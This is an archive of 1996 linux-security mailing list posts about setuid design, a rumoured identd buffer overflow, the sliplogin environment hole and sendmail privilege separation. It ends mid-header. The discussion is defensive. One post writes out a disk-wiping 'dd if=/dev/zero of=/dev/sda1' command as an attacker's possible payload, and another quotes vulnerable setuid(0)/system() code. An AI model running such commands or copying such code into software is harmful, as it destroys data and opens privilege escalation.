(8.6.13/$Revision: 2.9 $) id FAA21165; Tue, 16 Jul 1996 05:12:57 -0400 From: [email protected] (Wietse Venema) Message-Id: <[email protected]> Subject: Re: [linux-security] security idea To: [email protected] (Peter J. Braam) Date: Tue, 16 Jul 96 8:57:58 MET DST Cc: [email protected] In-Reply-To: ; from "Peter J. Braam" at Jul 13, 96 12:54 pm Organization: Eindhoven University of Technology, P.O. Box 513, 5600 MB Eindhoven, The Netherlands X-Phone: +31 40 2472989 X-Fax: +31 40 2465995 X-Private: +31 40 2433327 X-Mailer: ELM [version 2.3 PL11] Sender: [email protected] Precedence: list Peter J. Braam wrote: > > I wonder if the following has been considered already. > > Many security issues would be helped if there was one extra user which > could su to any other user, but not to uid zero. Let's call this user > "super". > ... > Programs running as super could mess up users files, but not the > "system" > files owned by root, which strikes me as a definite advantage. This idea, like the NFS uid=0 to nobody mapping, works on systems with only one privileged account: everything in root's path is owned by root and writable only by root. This idea offers little advantage on systems where system programs and directories are owned by non-root accounts and/or are group writable. Wietse From [email protected] Tue Jul 16 05:26:36 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id FAA21211; Tue, 16 Jul 1996 05:26:36 -0400 Message-Id: <[email protected]> To: [email protected], [email protected] Cc: [email protected] Subject: [linux-security] Re: identd hole? In-reply-to: Your message of "Mon, 15 Jul 1996 17:57:36 CDT." Date: Mon, 15 Jul 1996 19:43:25 -0400 From: "Alexander O. Yuriev" Sender: [email protected] Precedence: list [Mod: The message that Alex is following up to appeared on Bugtraq, where a discussion on this subject has just started. Exactly what's going on/being exploited is still uncertain at this point. --Jeff.] Your message dated: Mon, 15 Jul 1996 17:57:36 CDT > Lately I've heard rumours about this 'identd' hole in RFC1413, we've seen > this abused on IRC several times in recent days. Then today I had someone > claim they had the root password on my machine at home. So I telnetted in, > changed it and waited since he claimed he was going to hack it. Apparently > he did because I caught him with a login proccess which I promptly killed, > then being rather peeved I /kill'd him on irc. This apparently pissed him > off even more so he re-hacked my machine and brought it down, at this time > I'm not even sure if it's reviveable as I've not had a chance to check it, > all I know is that its dead in the water currently. Right after that I did a > netstat -n on the machine I was on at work. Voila.. there were about two > dozen connections from his IP (I checked) to my identd port (113). Now I'm > guessing that Solaris 2.5x86 doesn't have the same bug or I caught it in > time since I saw no adverse effects on that machine. The machine effected > (and killed) was a linux 2.0.0 machine, but I have heard of many other > machines of random type being effected in such a manner. The attack is a quite standard 'buffer overrun'. The identd from a remote machine returns a string which overruns buffer usually allocated on stack. Then depending on the intention of the attacker he can either pop up a shell or just do something such as "dd if=/dev/zero of=/dev/sda1" Best wishes, Alex From [email protected] Tue Jul 16 06:11:35 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id GAA21707; Tue, 16 Jul 1996 06:11:35 -0400 From: [email protected] (Wietse Venema) Message-Id: <[email protected]> Subject: Re: [linux-security] security idea To: [email protected] (Stephen C. Tweedie) Date: Tue, 16 Jul 96 12:04:13 MET DST Cc: [email protected], [email protected] In-Reply-To: <[email protected]>; from "Stephen C. Tweedie" at Jul 15, 96 10:59 pm Organization: Eindhoven University of Technology, P.O. Box 513, 5600 MB Eindhoven, The Netherlands X-Phone: +31 40 2472989 X-Fax: +31 40 2465995 X-Private: +31 40 2433327 X-Mailer: ELM [version 2.3 PL11] Sender: [email protected] Precedence: list > Sendmail is actually a bad example. It needs access to certain > mail-specific files, but that can be done by the normal user/group > mechanism anyway. It does not need the privilege of writing files as > another user: a separate delivery program should be used for this to > minimise the possibility of that privilege leaking out of a program > bug. And it _certainly_ shouldn't be given root privilege if all it > needs to do is to bind to a privileged port. There is more to sendmail than just this: - access recipient's ~/.forward files and exploder :include: files This is actually a recursive process. - execute shell commands (either in .forward, aliases or other). No to contradict that sendmail is a bad example. Wietse From [email protected] Tue Jul 16 06:12:47 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id GAA21730; Tue, 16 Jul 1996 06:12:47 -0400 Date: Tue, 16 Jul 1996 06:10:02 -0400 Message-Id: <[email protected]> From: Jeff Uphoff To: Bugtraq List CC: [email protected], [email protected] Subject: [linux-security] Re: identd hole? In-Reply-To: Your message of Mon, July 15, 1996 17:57:36 -0500 References: X-Zippy: Yow! Those people look exactly like Donnie and Marie Osmond!! X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list "BLH" == Brett L Hawn writes: BLH> Lately I've heard rumours about this 'identd' hole in RFC1413, BLH> we've seen this abused on IRC several times in recent days. Then BLH> today I had someone claim they had the root password on my machine BLH> at home. So I telnetted in, changed it and waited since he claimed BLH> he was going to hack it. Apparently he did because I caught him BLH> with a login proccess which I promptly killed, then being rather BLH> peeved I /kill'd him on irc. This apparently pissed him off even BLH> more so he re-hacked my machine and brought it down, at this time BLH> I'm not even sure if it's reviveable as I've not had a chance to BLH> check it, all I know is that its dead in the water currently. Right BLH> after that I did a netstat -n on the machine I was on at BLH> work. Voila.. there were about two dozen connections from his IP (I BLH> checked) to my identd port (113). Now I'm guessing that Solaris BLH> 2.5x86 doesn't have the same bug or I caught it in time since I saw BLH> no adverse effects on that machine. The machine effected (and BLH> killed) was a linux 2.0.0 machine, but I have heard of many other BLH> machines of random type being effected in such a manner. It's not really clear to me that 'identd' was involved in the attack on your Linux system. The second intrusion could very well have been accomplished via a trojan /bin/login, /usr/sbin/in.telnetd, etc., since a previous root-level intrusion had apparently occurred. Replacing /bin/login with a "back door password" version is a logical step #1 after cracking a box; doing this is part of some "root kits." Also, depending upon your configuration, both the first and the subsequent intrusions could have been done sans password using something like the now-well-known shared-library/in.telnetd exploit; the cracker might very well have been claiming to have your root password simply to confuse the issue and point you in the wrong direction. --Up. -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | [email protected] PGP key available at: http://www.cv.nrao.edu/~juphoff/ linux-security/linux-security.960717100664 1767 1767 36313 6173226634 16667 0ustar majdommajdomFrom [email protected] Wed Jul 17 09:49:25 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id JAA31556; Wed, 17 Jul 1996 09:49:25 -0400 Date: Tue, 16 Jul 1996 11:12:02 -0600 (MDT) From: Jason Marshall To: David Holland cc: [email protected] Subject: Re: [linux-security] sliplogin In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list > It does > setuid(0); > if (s = system(logincmd)) { > : > } > without clearing the environment first. Therefore, anybody can get > root trivially. Ok, my interest has been piqued for a while now, but I've just never asked. Is there a list somewhere of ALL the things that really should be done or looked for when writing code segments that are seteuid(0)? I know SOME of the things to do, but I've yet to see a comprehensive list. I am quite sure there are many C coders out there who either a) don't know what to do, or b) wouldn't mind some confirmation that they are/have been doing the right things. This is particularly in reference to system() calls, and/or the replacing of those calls with safer code. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- | Jason Marshall, [email protected]. Spots InterConnect, Inc. Calgary, AB | =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- From [email protected] Wed Jul 17 09:59:54 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id JAA31601; Wed, 17 Jul 1996 09:59:54 -0400 From: "Dave G." Message-Id: <[email protected]> Subject: [linux-security] Re: identd hole? To: [email protected] Date: Tue, 16 Jul 1996 10:15:49 -0400 (EDT) Cc: [email protected], [email protected] X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list As far as I know, there is no buffer overflow in atoi() under linux. This rumor was started when there was a problem in some IRC clients. At the time I took a look at atoi() and strtol(). Not only were there no buffer overflows, there were no buffers at all :). I haven't seen any evidence that he was actually hacked via ident. Actually his description hasnt even explicitly stated that the intruder got in. [Mod: In a subsequent post to Bugtraq, Brett stated: "After several hours of checking logs and other material I've come to the realization that the hack used to attack one of my machines was indeed the sendmail/identd hack referenced some time ago." Exactly what log entries, etc., led him to this conclusion is unknown to me at this time. --Jeff.] Brett: You said you caught hime with a login process. Did the ps say 'login blah etc...' or 'bash' or 'sh' or 'tcsh'. Since you havent had a chance to check it, you dont know whether he just managed to launch denial of service attacks on it. From [email protected] Wed Jul 17 11:37:32 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id LAA32041; Wed, 17 Jul 1996 11:37:32 -0400 Message-ID: Date: Tue, 16 Jul 1996 01:37:14 -0400 (EDT) From: Cosimo Leipold To: [email protected] Subject: Fwd: [linux-security] security idea References: Sender: [email protected] Precedence: list >Suid root programs might still have to start as root, to listen on a >priviliged port for example, but could then relinquish this uid 0 for uid >super, and do what they need to do. Sendmail is a good example. If what you are suggesting is a simple "be root when you need to be", a lot of programs out there already do this. They may have something along the lines of: setuid(0); do what you need to do; setuid(X). This works fine, but the fact remains, that for a certain period of time there is still a uid 0 situation. >Programs running as super could mess up users files, but not the >"system" files owned by root, which strikes me as a definite advantage. True.... to some extent..but the bottom line remains that if the program is setuid 0 at any point and time, chances are some exploit will be created that works even if the period of time is only a fraction of a second. Even if it was not root at any time, a shell of setuid anything is one shell to many for me. Ideally something like /proc filesystems would be nice. A thought of my own...many systems have users which are known to be somewhat malicious or questionable. Therefore, one may wish to deny access to setuid programs to these users. Of course, this is completely pointless in respect to new users who you have little information about, but it often happens that someone is caught attempting something, nothing really dangerous but none the less something that could be interpreted as a hack attempt. You could change some setuid programs to exclude access for this one person. This could be done by making them group executable and then simply having only that group execute it, but including everyone but one user seems to be a pain. If on the other hand you incorporated something like: if (getuid() == (uid_t)UID_VALUE) { puts("Sorry. Access Denied."; exit(0); } This, like mentioned before, is useless for external attacks but for users on a system which seem to be potentially malicious, it might help. You could not do this on programs that every user needs (i.e. dont do it on passwd), but on some setuid programs that need uid 0, that general users could be granted access to, this is a nice way of eliminating some potential malintended users. Cosimo Leipold Carnegie Mellon University Pre-College Summer Programme email: [email protected] (Yea, I'm only a "kid") From [email protected] Wed Jul 17 11:37:51 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id LAA32064; Wed, 17 Jul 1996 11:37:51 -0400 Resent-Message-Id: <[email protected]> Message-Id: <[email protected]> To: "Peter J. Braam" Subject: Re: [linux-security] security idea In-reply-to: Your message of "Sat, 13 Jul 1996 12:54:02 PDT." MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <[email protected]> Date: Mon, 15 Jul 1996 22:17:44 -0400 From: Joseph Dickson Resent-To: [email protected] Resent-Date: Mon, 15 Jul 1996 22:19:08 -0400 Resent-From: Joseph Dickson Sender: [email protected] Precedence: list "Peter J. Braam" writes: : Many security issues would be helped if there was one extra user which : could su to any other user, but not to uid zero. Let's call this user : "super". : If we're going to start messing around with a proprietary security design, let's at least do it right the first time. Most of the standard unix security problems have been solved by the ACL/SID based security system, which is already in development for linux, BTW. At least other operating systems already use this, so a departure from the standard unix security design to this wouldn't put us out by ourselves, anyway. Cheers, -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- ! Joseph Dickson ! Computer Programmer ! ! [email protected] ! Network Technician ! ! www.sj-coop.net/~merlin ! Systems Consultant ! -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- From [email protected] Wed Jul 17 11:45:33 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id LAA32109; Wed, 17 Jul 1996 11:45:33 -0400 From: [email protected] Date: 17 Jul 1996 14:17:36 -0000 Message-ID: <[email protected]> To: [email protected] Subject: [linux-security] sendmail security issues Sender: [email protected] Precedence: list Stephen C. Tweedie: >> Sendmail is actually a bad example. It needs access to certain >> mail-specific files, but that can be done by the normal user/group >> mechanism anyway. It does not need the privilege of writing files as >> another user: a separate delivery program should be used for this to >> minimise the possibility of that privilege leaking out of a program >> bug. And it _certainly_ shouldn't be given root privilege if all it >> needs to do is to bind to a privileged port. Wietse Venema: >There is more to sendmail than just this: >- access recipient's ~/.forward files and exploder :include: files accessing recipient's ~/.forward files would also be best handled by a separate delivery program that runs under the user's uid. :include: file handling is purely an abstraction and should be run under the proper uid for whatever file it's included from. Wietse Venema continues: >This is actually a recursive process. >- execute shell commands (either in .forward, aliases or other). If this ever crosses uid boundaries, it should be treated as just another mail message and go through all the standard mechanisms for handling mail messages. -- Raul From [email protected] Wed Jul 17 12:26:02 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id MAA32701; Wed, 17 Jul 1996 12:26:02 -0400 From: [email protected] (Wietse Venema) Message-Id: <[email protected]> Subject: Re: [linux-security] sliplogin To: [email protected] (Jason Marshall) Date: Wed, 17 Jul 96 18:22:52 MET DST Cc: [email protected], [email protected] In-Reply-To: ; from "Jason Marshall" at Jul 16, 96 11:12 am Organization: Eindhoven University of Technology, P.O. Box 513, 5600 MB Eindhoven, The Netherlands X-Phone: +31 40 2472989 X-Fax: +31 40 2465995 X-Private: +31 40 2433327 X-Mailer: ELM [version 2.3 PL11] Sender: [email protected] Precedence: list Jason Marshall wrote: > > > It does > > setuid(0); > > if (s = system(logincmd)) { > > : > > } > > without clearing the environment first. Therefore, anybody can get > > root trivially. > > Ok, my interest has been piqued for a while now, but I've just never > asked. Is there a list somewhere of ALL the things that really should > be done or looked for when writing code segments that are seteuid(0)? > I know SOME of the things to do, but I've yet to see a comprehensive > list. I am quite sure there are many C coders out there who either a) > don't know what to do, or b) wouldn't mind some confirmation that they > are/have been doing the right things. > > This is particularly in reference to system() calls, and/or the replacing > of those calls with safer code. The list of things being passed in via exec() is system dependent. - environment - priority - file descriptors, including read/write offsets and streams modules - real/effective/etc uid/gid/luid - current working directory - controlling tty (for signaling) - what signals are being ignored - any pending alarm signals - parent process id - time of day This is just off the top of my head, so no doubt it is incomplete. Wietse From [email protected] Wed Jul 17 13:45:16 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id NAA00303; Wed, 17 Jul 1996 13:45:16 -0400 Message-Id: To: [email protected] Subject: [linux-security] Passing the baton Date: Wed, 17 Jul 1996 19:51:12 +0200 From: Olaf Kirch Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- Hi all, Due to my current workload, I am not able to continue moderating the linux-security lists (not that I have done much during the past few months anyway). I'm very busy at the moment with my work-for-pay job, Linux NFS development, writing, and most important of all, I want to spend some time with my girl-friend. I feel sorry for having to leave, especially since working with Jeff, Alex and almost all you other people has always been easy and pleasant, which is quite extraordinary for a mailing list with several thousand subscribers (I'm told). Of course I will remain subscribed to the lists and put in my 2 cents' worth every now and then. In the future, Jeff and Rogier Wolff will moderate the lists. I'm sure Rogier will do a good job, and hope he will enjoy it as much as I did. Good luck to Rogier, and cheers to you all Olaf - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. -----BEGIN PGP SIGNATURE----- Version: 2.6.2i iQCVAwUBMe0n8uFnVHXv40etAQHoqwP/TkkuNTZOh3+KawQkD0Y3R8ON1OG/EQ/C tWT2nA9pURA/hssYqe+SioZJMjqBKwkVwimTn3EmcsN9Kt8qCYktHJUFXhYA7lMy X9MxedN4KBIhzF+BYr3P3s5sWT0tNXvGq8/62OzHJx2qhgmSB0wWQYcBp9KWXQbR vElaPDjQ04Y= =ezgV -----END PGP SIGNATURE----- From [email protected] Wed Jul 17 14:14:49 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id OAA00401; Wed, 17 Jul 1996 14:14:49 -0400 Message-Id: <[email protected]> To: [email protected] Subject: [linux-security] about in.identd Date: Wed, 17 Jul 1996 14:17:02 -0400 From: "Alexander O. Yuriev" Sender: [email protected] Precedence: list Hello, This is an explanation of one of the ways such attack can be performed. First of all, this is *not* an attack against the in.identd! This is an attack against the *protocol* used by identd. As Matt Bishop said once the easiest way to discover security problem is to look at the manual pages of your Unix box paying attantion to words "should" "never" "must not" "will not". The ident protocol simply returns an owner of a connection originated on a remote machine. Another name for this protocol is auth. auth 113/tcp ident # User Verification A remote system can ask ident to return a string identifing a user owner of a connection. For example, lets say that an attacker connects to a service running with a super-user priviledge (it just binds a port below 1024). This service sends a request to ID a user to ident running on a remote machine. If that ident is used to penetrate a system, there is nothing to prevent an it from returning not 'mickeymouse' but 'micketmouse......' where .... is an image of the machine code to be executed. If a program requring the ID was designed to trust the response of a remote ident server ("Gee, it is the *ident* server, why not to trust it?!?!?!" ) then it probably did not expect anything like a bomb-code being returned. Best wishes, Alex linux-security/linux-security.960718100664 1767 1767 30453 6173557446 16677 0ustar majdommajdomFrom [email protected] Thu Jul 18 12:05:34 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id MAA07215; Thu, 18 Jul 1996 12:05:34 -0400 Date: Thu, 18 Jul 1996 02:20:56 -0500 (CDT) From: Jordy To: "Alexander O. Yuriev" cc: [email protected] Subject: Re: [linux-security] about in.identd In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list > > auth 113/tcp ident # User Verification i have a very simple question. why does identd even need to be running as root? you don't need root permissions to lookup who owns a port, and there are a few other programs that inetd spawns that bind to ports under 1024 that don't run as root [systat comes to mind]. so why run it as root? are we just asking for trouble? From [email protected] Thu Jul 18 12:06:52 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id MAA07231; Thu, 18 Jul 1996 12:06:52 -0400 Message-ID: <[email protected]> From: lilo Date: Thu, 18 Jul 1996 06:51:49 -0500 (CDT) To: "Dave G." cc: [email protected], [email protected], [email protected] Subject: Re: [linux-security] Re: identd hole? In-Reply-To: <[email protected]> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Tue, 16 Jul 1996, Dave G. wrote: > As far as I know, there is no buffer overflow in atoi() under linux. > This rumor was started when there was a problem in some IRC clients. At > the time I took a look at atoi() and strtol(). Not only were there no > buffer overflows, there were no buffers at all :). Well, the problem has not been sufficiently debugged. The fact that it only occurred in pre-5.3.9 ELF libc, and that it was universally resolved by upgrading the libc to 5.3.12 (really we did spend a fair amount of time verifying that behavior) seemed indicative of a library problem, and the atoi() diagnosis was volunteered by someone with more time on their hands, and possibly less skill.... :) lilo From [email protected] Thu Jul 18 14:41:39 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id OAA08444; Thu, 18 Jul 1996 14:41:39 -0400 X-Authentication-Warning: dilbert.redhat.com: sopwith owned process doing -bs Date: Thu, 18 Jul 1996 14:34:34 -0400 (EDT) From: Elliot Lee To: Jordy cc: "Alexander O. Yuriev" , [email protected] Subject: Re: [linux-security] about in.identd In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Thu, 18 Jul 1996, Jordy wrote: > > > > auth 113/tcp ident # User Verification > > i have a very simple question. why does identd even need to be running as > root? you don't need root permissions to lookup who owns a port, and there > are a few other programs that inetd spawns that bind to ports under 1024 > that don't run as root [systat comes to mind]. > > so why run it as root? are we just asking for trouble? Most ident implementations need sys/kmem group permissions to find out who owns a port. For example, on Solaris /bin/netstat is setGID On Linux that is not the case however (netstat is not set*ID) - an identd specifically for Linux should probably be written. \\\| Elliot Lee |\\\ || "Claim to fame": \\\| Red Hat Software |\\\ || What else? \\\| |\\\ || http://www.redhat.com/ \\\| Webmaster, Programmer, etc |\\\ || From [email protected] Thu Jul 18 16:13:24 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id QAA09035; Thu, 18 Jul 1996 16:13:24 -0400 From: Alan Cox Message-Id: <[email protected]> Subject: Re: [linux-security] about in.identd To: [email protected] (Jordy) Date: Thu, 18 Jul 1996 21:04:02 +0100 (BST) Cc: [email protected], [email protected] In-Reply-To: from "Jordy" at Jul 18, 96 02:20:56 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > root? you don't need root permissions to lookup who owns a port, and there > are a few other programs that inetd spawns that bind to ports under 1024 > that don't run as root [systat comes to mind]. > > so why run it as root? are we just asking for trouble? I guess for history reasons (most identds dive into the kmem) - we have /proc so it seems we should run it as nobody From [email protected] Thu Jul 18 21:01:46 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id VAA10817; Thu, 18 Jul 1996 21:01:46 -0400 Date: Wed, 17 Jul 1996 18:21:54 -0400 (EDT) From: Speed Racer To: Cosimo Leipold cc: [email protected] Subject: Re: Fwd: [linux-security] security idea In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Tue, 16 Jul 1996, Cosimo Leipold wrote: > True.... to some extent..but the bottom line remains that if the > program is setuid 0 at any point and time, chances are some exploit will > be created that works even if the period of time is only a fraction of a > second. Even if it was not root at any time, a shell of setuid anything > is one shell to many for me. Ideally something like /proc filesystems > would be nice. "Chances are", if the program is coded right, there WON'T be any exploits. I could do this: /* disable input, catch all possible signals, etc. */ setuid(0); sleep(60); setuid(X); /* re-enable the above */ Just because the program is running as root does NOT mean there is automatically some exploit in there somewhere. > A thought of my own...many systems have users which are known to be > somewhat malicious or questionable. Therefore, one may wish to deny > access to setuid programs to these users. Of course, this is completely > pointless in respect to new users who you have little information about, It's pointless anyway. If I had any "malicious" users, I'd boot them soonest. > This, like mentioned before, is useless for external attacks but for > users on a system which seem to be potentially malicious, it might help. > You could not do this on programs that every user needs (i.e. dont do it > on passwd), but on some setuid programs that need uid 0, that general > users could be granted access to, this is a nice way of eliminating some > potential malintended users. First, if the user is "malicious", why even bother letting him change his password? Make him call you & have you change it by hand or something, or just outright deny him. Or, better yet, get rid of the user. Second, this whole idea implies that you're running some setuid program that DOES have some kind of security hole in it, and you just don't want the bad guys to find it. From experience, I can tell you this - they'll find it anyway, and by denying them access to the program you're lulling yourself into a false sense of security. It also doesn't protect against the boneheads who manage to stumble upon these holes accidentally, and not only break things but break them with great idiocy. The worst catastrophes I've seen have resulted not from hackers, but from people who didn't know what they were doing at all. shag Judd Bourgeois [email protected] Finger for PGP public key There's a lost man with a bitter soul For only a moment did life make him whole And while he was, he thought he was invincible... Matthew Sweet, "Smog Moon" From [email protected] Thu Jul 18 21:04:11 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id VAA10833; Thu, 18 Jul 1996 21:04:11 -0400 Date: Thu, 18 Jul 1996 09:42:04 -0400 (EDT) From: Brian Mitchell X-Sender: brian@tcpip To: "Alexander O. Yuriev" cc: [email protected] Subject: Re: [linux-security] about in.identd In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Wed, 17 Jul 1996, Alexander O. Yuriev wrote: [Mod: Quoting trimmed. --Jeff.] > A remote system can ask ident to return a string identifing a user owner of > a connection. For example, lets say that an attacker connects to a service > running with a super-user priviledge (it just binds a port below 1024). This > service sends a request to ID a user to ident running on a remote machine. > If that ident is used to penetrate a system, there is nothing to prevent > an it from returning not 'mickeymouse' but 'micketmouse......' where .... is > an image of the machine code to be executed. If a program requring the ID > was designed to trust the response of a remote ident server ("Gee, it is the > *ident* server, why not to trust it?!?!?!" ) then it probably did not expect > anything like a bomb-code being returned. The rfc specifies the maximum length for ident responses is 512 bytes, so I don't see how machine code would do anything of any use, barring overflows which should not happen, since it should read no more than 512 bytes, and the buffer it should read into should be atleast 512 bytes. Of course, things that should happen often do not happen. Do you have any examples of programs that don't handle in.identd queries well? Brian Mitchell [email protected] "I never give them hell. I just tell the truth and they think it's hell" - H. Truman From [email protected] Thu Jul 18 21:04:35 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id VAA10849; Thu, 18 Jul 1996 21:04:35 -0400 Message-Id: From: Lars Wirzenius To: [email protected] Subject: [linux-security] writing setuid programs safely In-Reply-To: Your message of "Tue, 16 Jul 1996 11:12:02 MDT." Mime-Version: 1.0 Content-Type: multipart/signed; boundary="==_Exmh_-1305269074P"; micalg=pgp-md5; protocol="application/pgp-signature" Content-Transfer-Encoding: 7bit Date: Thu, 18 Jul 1996 10:21:20 +0300 Sender: [email protected] Precedence: list --==_Exmh_-1305269074P Content-Type: text/plain; charset=us-ascii [ NB: I read the list. Don't CC replies to me. I pay for my PPP. Thanks ] Jason Marshall: > Is there a list somewhere of ALL the things that really should > be done or looked for when writing code segments that are seteuid(0)? I saw a setuid(7) manual page in some newsgroup years ago. Didn't save it and can't remember whodunit, but someone with a better network connection might want to look for it with the WWW search engines. Hm, the name Henry Spencer seems to be floating in my frontal lobe at the moment, but I don't know if he had anything to do with it. --==_Exmh_-1305269074P Content-Type: application/pgp-signature -----BEGIN PGP MESSAGE----- Version: 2.6.2i iQCVAwUBMe3l7YQRll5MupLRAQEslgQA0wcZRtu5NbWquzTKJemaEH3laEMB1jZ+ 9Dp8v0aP+S5g+IH/OtL3qjlW2mrJNYsm2YsegOPSrrTI7DJc7oYBmiJYyGwk2kS7 xe4sP+CoekD0GS3u1NuRtg03Kh5OnvJkt31XxrjZJ71otOXsiW/F1esIx37Lyzsx vsHQW3ZX7eg= =KIBc -----END PGP MESSAGE----- --==_Exmh_-1305269074P-- linux-security/linux-security.960719100664 1767 1767 3361 6173774110 16643 0ustar majdommajdomFrom [email protected] Fri Jul 19 04:15:20 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id EAA14282; Fri, 19 Jul 1996 04:15:20 -0400 Date: Thu, 18 Jul 1996 22:22:05 -0500 Message-Id: <[email protected]> From: Joshua Cowan To: [email protected] Subject: [linux-security] Re: writing setuid programs safely In-Reply-To: References: X-Attribution: JC X-Mailer: VM 5.95 (beta); GNU Emacs 19.30.1 X-NSA-Fodder: Mossad supercomputer Delta Force Serbian SDI ammunition X-Tom-Swifty: "I'm having deja-vu," Tom said again. Sender: [email protected] Precedence: list >>>>> "LW" == Lars Wirzenius writes: LW> I saw a setuid(7) manual page in some newsgroup years ago. I think what you are talking about is available at `ftp://ftp.cs.toronto.edu/doc/programming/setuid.man'. [REW: I verified its existance. It recommends using "access" to verify if the normal user has access to a file. I recommend not trying to do that: you almost always create a way to circumvent it using symlinks in a short timespan. I recommend actually setting the uid to that of the user. If necessary split the "priviliged" part from the "unpriviliged" and fork off a separate process for each.] -- Joshua Cowan _____________________ http://hermit.reslife.okstate.edu/~jcowan/ | Comp Sci Student "Very funny, Scotty. Now beam down my clothes." | OSU - Stillwater, OK PGP key available from any PGP keyserver or by fingering above address. linux-security/linux-security.960720100664 1767 1767 13205 6174264130 16646 0ustar majdommajdomFrom [email protected] Sat Jul 20 19:11:13 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id TAA22448; Sat, 20 Jul 1996 19:11:13 -0400 From: "Dave G." Message-Id: <[email protected]> Subject: Re: [linux-security] about in.identd To: [email protected], [email protected], Date: Fri, 19 Jul 1996 10:50:13 -0400 (EDT) Cc: [email protected] X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list Most ident implementations need sys/kmem group permissions to find out who owns a port. For example, on Solaris /bin/netstat is setGID On Linux that is not the case however (netstat is not set*ID) - an identd specifically for Linux should probably be written. ---------- I am not sure which copies of identd use/proc, but the one that I had looked at used /proc. There should be no need to rewrite anything. (except inetd.conf :-)) Dave G. From [email protected] Sat Jul 20 19:12:11 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id TAA22466; Sat, 20 Jul 1996 19:12:11 -0400 Message-Id: Date: Fri, 19 Jul 96 22:50 BST From: Ian Jackson To: Alan Cox Cc: [email protected] Subject: Re: [linux-security] about in.identd Newsgroups: chiark.mail.linux-security In-Reply-To: <[email protected]> References: <[email protected]> Sender: [email protected] Precedence: list Alan Cox writes ("Re: [linux-security] about in.identd"): > > root? you don't need root permissions to lookup who owns a port, and there > > are a few other programs that inetd spawns that bind to ports under 1024 > > that don't run as root [systat comes to mind]. > > > > so why run it as root? are we just asking for trouble? > > I guess for history reasons (most identds dive into the kmem) - we have > /proc so it seems we should run it as nobody impren:~> grep ident /etc/inetd.conf | expand -1 ident stream tcp nowait nobody /usr/sbin/identd identd -i impren:~> This is how Debian sets it up by default. Ian. [REW: So we should all go out and edit our inetd.conf files. While you're are at it, I suggest that you also disable services as "systat" and "netstat". Make sure that the UID you run your services as really exists. Otherwise the "change uid to xxx" may fail and it might run as root anyway. We're also agreed (I hope) on the fact that "indentd" running as root has nothing to do with the original breakin report.] From [email protected] Sat Jul 20 19:14:12 1996 Received: (from 